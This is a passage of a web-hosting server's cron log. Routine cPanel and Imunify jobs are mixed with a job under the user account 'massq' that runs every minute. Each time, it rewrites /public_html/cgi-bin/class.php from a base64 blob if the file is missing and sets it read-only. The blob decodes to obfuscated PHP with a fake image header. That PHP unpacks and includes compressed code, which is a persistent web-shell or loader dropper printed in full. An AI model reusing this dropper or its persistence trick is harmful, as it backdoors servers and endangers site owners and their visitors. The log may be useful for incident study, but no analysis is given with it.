lDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:07:01 server CROND[22197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:07:01 server CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:07:01 server CROND[22198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:08:01 server CROND[22598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:08:01 server CROND[22599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:08:01 server CROND[22600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:09:01 server CROND[23142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:09:01 server CROND[23143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:09:01 server CROND[23144]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 00:09:01 server CROND[23145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:10:01 server CROND[23615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:10:01 server CROND[23617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:10:01 server CROND[23618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:10:01 server CROND[23620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:10:01 server CROND[23622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:10:01 server CROND[23625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:10:01 server CROND[23623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:10:01 server CROND[23621]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:11:01 server CROND[24465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:11:01 server CROND[24466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:11:01 server CROND[24467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:12:01 server CROND[24838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:12:01 server CROND[24839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:12:01 server CROND[24840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:12:01 server CROND[24841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:13:01 server CROND[25211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:13:01 server CROND[25212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:13:01 server CROND[25213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:14:01 server CROND[25578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:14:01 server CROND[25579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:14:01 server CROND[25580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:15:01 server CROND[26134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:15:01 server CROND[26136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:15:01 server CROND[26137]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 00:15:01 server CROND[26141]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 00:15:01 server CROND[26145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:15:01 server CROND[26138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:15:01 server CROND[26139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:15:01 server CROND[26144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:15:01 server CROND[26140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:15:01 server CROND[26143]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 00:16:01 server CROND[27035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:16:01 server CROND[27034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:16:01 server CROND[27036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:17:01 server CROND[27400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:17:01 server CROND[27401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:17:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:18:01 server CROND[27788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:18:01 server CROND[27789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:18:01 server CROND[27790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
